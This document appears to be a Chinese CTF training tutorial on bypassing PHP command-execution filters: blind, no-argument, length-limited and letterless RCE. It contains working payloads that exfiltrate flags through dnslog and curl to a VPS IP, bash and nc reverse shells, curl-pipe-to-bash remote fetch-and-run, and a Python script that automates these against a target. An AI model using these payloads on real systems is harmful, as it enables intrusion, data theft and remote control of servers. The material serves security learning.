无回显 RCE(一般是命令执行)

有的命令执行函数是没有回显的,例如 shell_exec,这种题有一些棘手,但也可以用

许多方法解决

dnslog+curl 绕过无回显

如果 curl 没有被过滤的话,可以用 dnslog 来绕过,真是神奇

http://www.dnslog.cn/

例如本题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

进入网站,我们先获取一个域名

1
uf9agj.dnslog.cn

然后以此格式进行 get 提交

1
?cmd=curl `cat /fl*`.uf9agj.dnslog.cn

其中反引号中内容会被优先解析

随后我们返回网站,点击刷新

就能看见访问记录里面,最开头的部分变成了 flag

但是没有括号,我们给他加上括号

1
nssctf{71d206cc-9ee0-4d49-972a-3cc795dc47ac}

自搭 vps+curl 绕过无回显

和上面的原理相似,用

1
?cmd=curl http://{vps ip}:{vps 端口}/?a=`cat /fl*`

也能成功

其会先解析反引号内的内容,再继续 curl

这时候用 vps 监听

1
nc -lvnp <端口>

即可监听到发送的请求了

注意这里的 a 不用改成 cmd,可以思考一下原理(优先解析反引号内容)

例如靶机上执行

1
curl http://101.37.239.138:12345/?a=`cat /flag|base64`

vps 上事先输入 nc -lvp 12345,就有

写文件绕过无回显

这个很简单,我们之前也接触过。

还是看这道题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

我们很容易想到

1
cat /fl*> shell.txt

这个”>”尖括号就代表写入文件于…

文件则存放在当前目录

例如题目源码位于

1
http://node4.anna.nssctf.cn:27285/index.php

这里我们只需要访问

1
http://node4.anna.nssctf.cn:27285/shell.txt

shell 反弹

bash 方法

shell 反弹只能用于比较理想的环境,有的环境不支持 shell 反弹(bash 方法要求存在/bin/bash)

curl 反弹和上面的方式其实非常类似,上面的步骤已经比较简便了,故省略

下面叙述 bash 反弹

shell 反弹要求攻击机器处于内网穿透状态或拥有公网 ip

且题目靶机允许 bash 命令输入

设攻击机器的公网 ip 为 123.45.67.8,监听 1234 端口

我们应当按顺序分别在攻击机和题目中输入

1
2
题目靶机:bash -i >& /dev/tcp/123.45.67.8/1234 0>&1
攻击机器: nc -lvnp 1234(开放并监听1234端口)

如果是 windows,需要安装 ncat,输入

1
ncat -lvnp 1234(开放并监听1234端口)

如果环境不支持 bash,也可以试试 nc 连接.

nc 方法

(nc 方法要求存在/bin/sh)

1
nc 101.37.239.138 12345 -e /bin/sh

vps 端提示成功后输命令就行了

nc 连接带入 vps

像这样,在命令后面加管道控制符 nc+ 公网 ip,如果 vps 正在监听 12345 端口,就能将执行结果带进去

1
cat /flag|nc 101.37.239.138 12345

也可将 bin 里的内容喂给 AI,让其判断是什么样的环境,支持什么命令

无参数 RCE(代码执行)

无参 rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果

这里的参数是指

1
eval($_GET['code']);

eval 里面的参数

题目源码往往类似这样

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
1
2
3
[^\W]+:匹配字母、数字和下划线,即PHP函数名。
\((?R)?\):匹配函数括号内容,允许递归嵌套。
preg_replace():删除匹配到的函数调用,最终仅剩 ; 时才允许 eval() 执行。

这里只允许嵌套函数,而不允许函数里面带有参数

下面也有几种方法进行无参数 RCE

利用 getallheaders

假如题面为

1
eval($_POST['a']);

注入点为 POST 方式 a

我们可以传入

1
a=eval(getallheaders()['Cmd']);

嵌套 eval

然后修改请求头

1
Cmd: system('ls');

像这样

就能得到结果了

pos/current 函数绕过中括号过滤

什么?不让用中括号?

那我们可以使用 pos 函数(current 函数,二者等价)

先来看这个函数

1
getallheaders()

返回的是一个数组,里面有请求头的各部分内容

1
pos()

能够取数组的【第一个元素的值】

因此我们可以构造这样一个 payload:

1
a=eval(pos(getallheaders()));

这样 pos()返回的是请求头中第一个元素的值

在请求头中,每个变量名都有自己的排位,而 Priority 常常处于第一位,在 payload 中作为 pos()返回的值出现

我们在 post 的同时在请求头中传入

1
Priority: system('cat /fl*');

就能得到相应的结果了

利用 session_id

和上面的方法相同,这次我们在请求的 cookie 中动手脚

先构造最基本的形式

1
a=session_start();system(session_id());

或者

1
a=system(session_id(session_start()));

session_start()函数先开启 session,激活 sessionid

session_id()函数再查询 sessionid

最后由 system()执行 sessionid 的内容

由于 session_start()的返回值不一定是空值,session_id()函数如果存在参数,其作用就不是查询 sessionid 而是修改,所以我们最好确保 session_id()括号内为空以使其正确查询 sessionid,选择前面的方法

还有一个要注意的地方:由于 session_id 的随机生成和修改的顺序问题,我们必须使用 Burp 构造 sessionid,而非 hackbar

这里我们仍然以

1
eval($_POST['a']);

为例

使用 POST 请求:

修改 PHPSESSID 为’ls’

即可执行 ls 这个命令了

解决符号问题

但需要注意的是,sessionid 中没有符号,我们通常对其进行一次加密

例如我们要传入

1
cat /fl*

对其进行 hex 加密

1
636174202F666C2A

修改 payload:

1
a=session_start();system(hex2bin(session_id()));

传入 sessionid

1
PHPSESSID=636174202F666C2A

就通过啦

利用 get_defined_vars()

这个函数返回当前所有已定义的变量,包装成一个 二维数组

我们可以用 var_dump 打印一下

我们可以观察到返回了一个二维数组,里面分别是所有的 GET POST 等变量组成的一维数组

非常好笑的是,flag 在这里以 php 变量的形式存放,直接被打印出来了

current()/pos()函数

这两个函数参数都是数组,返回数组中的第一个元素

在上面的函数中,用

1
a=var_dump((current(current(get_defined_vars()))));

就能返回一维数组 GET 组中第一个元素的值,也就是我们传入的”?b=ls”

我们再试试使用单层 current:

1
a=var_dump((current(get_defined_vars())));

可见结果就是这个一维数组

我们试着用 system 执行一下呢?

1
a=system(current((current(get_defined_vars()))));

很明显,其肯定会被执行

想看 flag 也一样

一般来说 get 提交的数据,都是在第一个一维数组–get 数组的第一个变量,那如果运气没那么好,环境有问题呢?我们就可以使用新的函数

指针偏移函数

1
2
3
4
5
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
end() : 将内部指针指向数组中的最后一个元素,并输出

我们看一看原始的结果

1
a=var_dump(get_defined_vars());

假如我 post 一个变量 b 叫 ls,如何执行呢?

就可以使用刚刚引入的指针偏移函数。

我们可以尝试一下用 next 嵌套

1
a=var_dump((current(next(get_defined_vars()))));;&b=ls

会返回

可见 next 本身能起到 current 的作用,这里一个 current 就能返回元素而非一维数组

但我们需要的是 POST 变量中的第二个元素,利用

1
a=var_dump((next(next(get_defined_vars()))));&b=ls

即可得到

那如果想得到第三个呢?可不可以嵌套 next

我们尝试

1
a=var_dump((next(next(next(get_defined_vars())))));&b=ls&c=cat /fl*

报错了,返回空

可见 next 不可以嵌套,可以思考一下,是因为它本身有 current 的作用,current 本身就只能用两次 一维-> 元素

因此 next 能用几次,函数就只能偏移几次

这时候,end 就派上用场了

我们尝试

1
a=var_dump((end(next(get_defined_vars()))));&b=ls&c=cat /fl*

其中 next 是为了指向一维数组 POST 数组,end 则为了指向最后一个元素,显然,最后一个就被打印出来了

也可以正常执行

这样,如果因为环境问题不能向前找,就可以使用向后找的策略

利用 scandir()

这是一个任意文件读取的漏洞,scandir()函数能够返回指定目录中的文件和目录的数组。

在利用这个函数之前,先来了解一些前置函数

1
2
3
4
5
6
7
show_source() 查看文件源码 不执行
dirname() 参数是一个路径,函数返回这个路径的前一个路径
chdir() 参数是一个路径,用于修改工作目录于这个路径
getcwd() 得到当前工作目录的路径
array_rand() 从数组中随机取出一个或多个单元
array_flip() 交换数组中的键和值,成功时返回交换后的数组
scandir() 返回指定目录中的文件和目录的数组。

读取当前目录下文件

下面一步一步演示如何读取当前目录下的文件

要利用这个漏洞,我们必须找到一个返回值为路径,再利用 show_source()查看文件源码

最基本的,getcwd()就能返回路径,我们试着键入

1
a=print_r(getcwd()); //print_r和var_dump在这里可以互换

返回了一个路径

源码就在这个路径里,就接下来我们利用 scandir()返回这个目录中的文件和目录的数组,看看回显了什么

1
a=print_r(scandir(getcwd()));

返回了这个目录下的一些文件名,我们阅读了前置函数,很容易想到可以用 array_rand() 从这个数组中随机取出一个或多个单元,然后再用 show_source() 查看文件源码

1
a=show_source(array_rand(scandir(getcwd())));

随后发现,它报错了

因为 array_rand 返回的是键名,因此很自然的想到我们得先交换键值和键名

1
a=show_source(array_rand(array_flip(scandir(getcwd()))));

这样,程序就会随机打开当前目录下的文件

因为 array_rand 能返回当前目录下任意文件名,再加上 show_source 就能打开这个文件名了

因为返回的文件名是随机的,我们试着多刷新几次,就能看到 get_flag.php 的源码被打开了,我们做到了读该文件的源码,也就是读当前目录下的文件

读取根目录下文件

上面的方法我们会发现,array_rand 只能返回文件名,那如果是根目录下 flag,我们必须要求它返回/flag 而不是 flag

1
a=show_source(array_rand(array_flip(scandir(getcwd()))));

但我们没有办法去得到斜杠,这怎么办呢?

我们可以用 chdir()函数来修改工作目录为根目录

那么要修改工作目录,就要让 chdir()括号中的参数为/,也就是根目录

这里还得用到

1
dirname()     参数是一个路径,函数返回这个路径的前一个路径

我们继续一步一步推导

1
a=var_dump(dirname(getcwd()));

返回了上一级目录

利用

1
a=var_dump(dirname(dirname(dirname(getcwd()))));

就轻松得到了根目录

再使用 chdir()函数,修改工作目录为根目录

1
a=var_dump(chdir(dirname(dirname(dirname(getcwd())))));

此时问题就出现了,返回的不是路径,是 bool 值

按理说我们只要继续用

1
a=show_source(array_rand(array_flip(scandir(chdir(dirname(dirname(dirname(getcwd()))))))));

也就是用绿字代替最初的 getcwd,就能随机返回源码了,但绿字返回的是一个 bool 值而非路径,无法成为 scandir 函数的参数了

因此我们利用一个新的规则:

dirname()中含 chdir()函数时,也就是这样

1
dirname(chdir())

dirname 不会报错,会解析 chdir 的路径,是不是很神奇?

因此我们再加一层 dirname,让其返回根目录的上一级–还是根目录

1
a=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

这样,打开的就是根目录下的文件了

我们再多尝试几次,就能打开/flag 啦

因此通过这个 payload,我们修改了工作目录,使得 array_rand 返回的值直接被 show_source 读取后,不带”/“也能返回正确的内容

1
a=var_dump(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

长度限制 RCE(命令执行)

_注意:cat /f 是 7 字符,nl /f 是 6 字符,__env 是 3 字符,_做题不要复杂化,也可以尝试 nl 或者 nl /,或其他命令 od(cat,桌面有转化脚本) wc(ls)等

有的 RCE 会限制输入长度,这时就要用到写文件,写脚本的方法,先来了解一下一些前置命令

前置命令

1
2
3
4
5
6
7
8
9
10
11
12
13
> //用于创建文件 <命令> > <文件名> 就能将命令执行的结果写入文件
特别要注意的是,不同的>语句接同一文件名时会覆盖
>> //在文件后追加内容
注意两个>>的语句会在文件中写入两行,即会自动换行,而非一行
\ //命令换行:在没有写完的命令后面添加\,能将一条命令写在多行
//例如cat /flag,等价于
// ca\
// t /flag
ls -t //将文件名按照时间顺序罗列出来,后创建的排在前面,利于用文件名进行命令执行
sh <文件名>或. <文件名>//将文件的内容当做命令执行
dir //作用类似于ls
$(dir *)或* //将dir列出的第一个文件名视为命令,后面的文件名全视为参数执行该命令
rev //和cat作用相同,但回显会倒序排列

长度为 7 绕过方法解析

长度为 7 的限制,大概有以下步骤

我们以

1
system($_POST['a']);

举例

按照逻辑,我们将先用尖括号创建很短的文件名,让 ls -t 构成可执行的语句,然后再用尖括号写入文件,最后用 sh 执行,由于 flag 位于根目录中,”/“的文件名创建需要利用其他的办法,我们先读当前目录下的 flag.php

首先输入 ls,当前目录下只有 index.php 和 flag.php

我们的预期目标就是创建一个文件名为”cat "的文件,直接接上后面的文件名,把它带出来

这里每一个文件名末尾都必须加”",因为 ls -t 写入文件中,是按行呈现的,而不是显示在 web 的一行

很容易就能想到 payload:

1
a=>cat\ \\

这样超字符了,为八个字符

我们再拆分一下 cat,从命令的末尾开始,先输入

1
a=>t\ \\

随后输入

1
a=>ca\\

注意这里的空格要用转义字符+空格,单个的\也要换成\

键入 ls -t,得到的是这样

注意每个文件名后是空了一行,不是一个空格,实际上是

1
2
3
ca\
t \
index.php

很容易推知这样契合命令执行的格式

我们将 ls -t 的结果带入名为 a 的新文件,注意这里长度也恰好为 7

1
a=ls -t>a

随后执行 a

1
sh a

就能得到 flag 了

处理/等符号不可输入的问题

正斜杠没办法作为文件名,我们不得不使用编码绕过

例如我们想要输入

1
cat /fl*

就要构造命令

1
echo Y2F0IC9mbCo= | base64 -d | bash

我们试着严格按照 7 字符构造一下,注意管道控制符 | 要用转义字符|,且要避免文件名重复,不能出现两个文件名全是单 |

1
2
3
4
5
6
7
8
9
10
11
12
13
a=>\ bash
a=>\|\\
a=>d\ \\
a=>4\ -\\
a=>ase6\\
a=>\ b\\
a=>\ \|\\
a=>=\\
a=>mbCo\\
a=>0IC9\\
a=>Y2F\\
a=>ho\ \\
a=>ec\\

输入 ls -t,应该是没问题的,我们将其列入文件 a

1
a=ls -t>a

执行文件 a

1
sh a

就能得到 flag 了

如果过滤了空格,就必须将 ${IFS}拆分

长度为 5 绕过方法解析

长度为 5 主要是限制了这个命令,和部分带转义字符的文件名难以创建

1
a=ls -t>a

我们无法将文件名使用-t 列出,因此要用新的步骤构造这个命令

ls -t 被禁用了,但 ls 未被禁用

输入 ls 我们创建的名为”ls”的文件会排在最前面,但我们先将 ls 写入要执行的文件,随后输 ls,其他的

参数就能恰好按命令顺序排列了

依然以

1
system($_POST['a']);

为例

我们依次输入

1
2
a=>ls\\
a=ls>a

就创建了一个名为 a 的文件,内容是

我们的 ls 被输进去了

接着依次用 > 方法创建

1
2
3
a=>\ \\
a=>-t\\
a=>\>y

用 >> 追加

1
a=ls>>a

观察文件 a 的内容,由字符顺序恰好存在句段 ls -t>y

随后执行 a

1
a=sh a

我们创建的文件,就按时间列出了

这里还有一些要注意的地方,例如当前目录下是否有排在 ls 后的文件,如果有,可能需要 rm 删除等

长度绕过其实原理大同小异,都是利用 ls 和 > 将命令输出至文件中,进而进行执行

那么还有一个问题,由于长度限制,空格等需要转义字符的命令不可出现两次

我们只能选择一些 shell 反弹命令

1
nc 101.37.239.138 12345 -e /bin/sh

但这种指令又带正斜杠,怎么办呢?

过滤正斜杠/的 shell 反弹

我们可以读一读这个新方法

这个新方法建立在利用

1
curl 101.37.239.138:8080|bash

这个命令(中间的是我搭建的 vps 的公网 ip)

来获取我在 8080 端口开的 html 文件的内容,并使用 bash 进行命令执行。

这个命令只有一个空格和一个管道控制符,完全符合条件

因此我只要在 html 文件中写入任意的命令,再让靶机执行 curl,就能执行我的命令了

例如我在 vps 的 cmd 中输入

1
echo 'cat /flag' > index.html

随后于 8080 端口开启 http 服务

1
busybox httpd -f -p 8080

此时用浏览器直接访问界面,得到了我要执行的命令

再用靶机执行看看呢?

1
a=curl 101.37.239.138:8080|bash

可见命令被成功执行了

我们再用长度为 5 的限制条件构造一次命令,首先构造 ls -t,输入上面的几条命令,构造一个名为 a 的文件,执行后能够执行 ls -t

1
2
3
4
5
6
a=>ls\\
a=ls>a
a=>\ \\
a=>-t\\
a=>\>y
a=ls>>a

执行 a,就能将 ls -t 的内容写入新文件 y,观察 y 后证明命令正确

1
a=sh a

接着我们以 5 字符为限制,构造这条命令

1
a=curl 101.37.239.138:8080|bash

但在构造时我们就发现问题了,8080 成回环了,我们得将 0 和 8 分开构造

且.+ 字符的文件名也是被禁用的,我们必须用数字加点

命令分别有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a=>bash
a=>\|\\
a=>0\\
a=>8\\
a=>80\\
a=>8:\\
a=>13\\
a=>9.\\
a=>23\\
a=>7.\\
a=>3\\
a=>1.\\
a=>10\\
a=>\ \\
a=>rl\\
a=>cu\\

我们一一输入后 执行

1
sh a //注意这个命令执行的有点慢,要多刷新几次

并查看 y,即 ls -t 的结果,是这样

我们的 http 服务还一直开着,输入

1
sh y

直接将 cat /flag 执行了

当然也可以用 POST 脚本,但是要特别注意转义字符的问题,linux 需要一个,python 又需要一个

这里也得考虑到 sh a 和 sh y 要多输几次和延时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import urllib.parse
import urllib.request
import time # 用于延时

# ===================== 你只需要改这里 =====================
TARGET_URL = "http://challenge.qsnctf.com:40586/"
# =========================================================

data_list = [
"a=>bash",
"a=>\\|\\\\",
"a=>0\\\\",
"a=>8\\\\",
"a=>80\\\\",
"a=>8:\\",
"a=>13\\\\",
"a=>9.\\\\",
"a=>23\\\\",
"a=>7.\\\\",
"a=>3\\\\",
"a=>1.\\\\",
"a=>10\\\\",
"a=>\\ \\",
"a=>rl\\\\",
"a=>cu\\\\",
"a=>sh a",
"a=>sh y",
]

# 循环发送 + 延时 + 完整回显
for i, payload in enumerate(data_list, 1):
print("=" * 60)
print(f"[第 {i} 条] 发送:{payload}")

try:
data = urllib.parse.urlencode({"a": payload}).encode("utf-8")
req = urllib.request.Request(TARGET_URL, data=data, method="POST")

with urllib.request.urlopen(req, timeout=10) as res:
result = res.read().decode("utf-8", errors="replace")
print("✅ 响应结果:")
print(result)

except Exception as e:
print(f"❌ 出错:{str(e)}")

# 每条发送完等待 1 秒(可自己改数字)
print("\n⏳ 等待 1 秒继续下一条...\n")
time.sleep(1)

长度为 4 绕过方法解析(暂无实验举例)

此方法需要特定环境

长度为 4 时,就连

1
ls>>a

也无法执行

思路还是相同的

这里我们使用 16 进制,还可以规避之前出现的句点问题

而新的方法就要用到 dir 了

为了使用 dir 命令执行 ls -t,我们必须构造能被罗列为 dir ls -t >a 的文件名,不能用 ls -t

所以命令必须以字母表罗列,再用 rev 翻转,很容易就能想到

1
2
3
4
a=>g\>
a=>t-
a=>sl
a=>dir

但此时意外又发生了,我们只能用 ls -t 罗列出正确的命令顺序,如果用 ls,结果是这样

实际上,我们可以将-t 改为-ht,让 ls 以字母表顺序输出,注意中间这个 index.php 在环境下应该不能存在,否则扰乱顺序

1
2
3
4
a=>g\>
a=>ht-
a=>sl
a=>dir

输入 ls,应当回显

1
dir g> ht- sl

此时我们输入*

dir 被执行 列出来的是

1
g> ht- sl

将结果写入文件,也就是

1
*>v

将 v 翻转

1
rev v

得到的便是

1
ls -ht >g

翻转的命令有五个字符,还需创建新文件名

1
>rev

这样我们输入

1
*v

因为 v 和 rev 都是 v 结尾,会将 v 利用 rev 翻转,即做到了

1
rev v

将其写入到文件 a

1
*v>a

执行 a,就能执行 ls -ht>g 了,写入文件 g 了

这里要注意的一点是,我们随后是利用长度为 5 的绕过方法去创建 shell 反弹,里面的\都需要换成\,这也要求环境比较兼容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a=>bash
a=>\|\\
a=>0\\
a=>8\\
a=>80\\
a=>8:\\
a=>13\\
a=>9.\\
a=>23\\
a=>7.\\
a=>3\\
a=>1.\\
a=>10\\
a=>\ \\
a=>rl\\
a=>cu\\

此外,

蚁剑自动化 LD_PRELOAD 绕过

在蚁剑中先正确填写 URL 和密码,右键加载如下插件

先选择模式 再点击开始即可

无字母 RCE

代码执行

自增绕过

自增绕过对环境的支持相对取反和异或更好一些,PHP7 似乎都支持

我们在第十一章的总复习阶段已经学习了取反绕过和异或绕过,下面再介绍一种新的绕过方式–自增绕过

在 php 中有这样一个特性:’a’++ => ‘b’,’b’++ => ‘c’…(注意: 递增递减运算符只能操作变量,不能操作字面量。)

所以,我们只要能拿到一个变量,其值为 a,通过自增操作即可获得 a-z 中所有字符。

那么,如何拿到一个值为字符串 'a' 的变量呢?

–在 PHP 中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array

分析知数组(Array)的第一个字母就是大写 A,而且第 4 个字母是小写 a。也就是说,我们可以同时拿到小写和大写 A,等于我们就可以拿到 a-z 和 A-Z 的所有字母。

例如我用 php 输入

1
2
3
<?php
echo ''.[];
?>

竟然回显了 Array

如果再取这个字符串的第一个字母,就可以获得 'A' 了。

另外在 PHP 中函数名称是对大小写不敏感的。也就是说,<?php PhPInfO();?> 也能实现 phpinfo 函数的效果。

自增绕过的 payload 通常比较长,大概长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$_=[].'';   //得到"Array"
$___ = $_[$__]; //得到"A"$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])

这会让靶机执行

1
ASSERT($_POST[_]);

我们放在 RCE 代码执行题里面看看

1
eval($_POST['a']);

为例

这里直接提供一个 payload,注意符号多建议使用 URL 编码

1
2
a=%24_%3D%28_/_._%29%5B%27%27%3D%3D%27_%27%5D%3B%24_%2B%2B%3B%24__%20%3D%20%24_%2B%2B%3B%24__%20%3D%20%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%20%3D%20%24__.%24_%2B%2B.%24_%2B%2B%3B%24_%20%3D%20%24__%3B%24__%20%3D%27_%27%3B%24__.%3D%24_%3B%24%24__%5B__%5D%28%24%24__%5B_%5D%29%3B
&__=system&_=cat /flag

有的题会报 warn,这没有关系

当然,如果过滤了一些很阴的东西,可以试试这个,符号少一点

1
%24_%3D%5B%5D._%3B%24_%3D%24_%5B_%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24___%3D%24__%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24____%3D%24_%3B%24_____%3D%2B%2B%24_%3B%24_%3D_.%24__.%24___.%24____.%24_____%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=nl /f*

命令执行

无字母命令执行流程有些复杂这里不再叙述,提供一个脚本生成的网站

https://probiusofficial.github.io/bashFuck/

同时一定要注意 URL 编码

总结

至此我们的入队第一章 RCE 的强化就结束了,知识点的确需要基础理解,初学的时候看不懂一点是正常的。

但只要一步一步耐心分析,逐渐拆解原理,按要求进行实验,仔细一点很多知识点其实是能够理解和复现的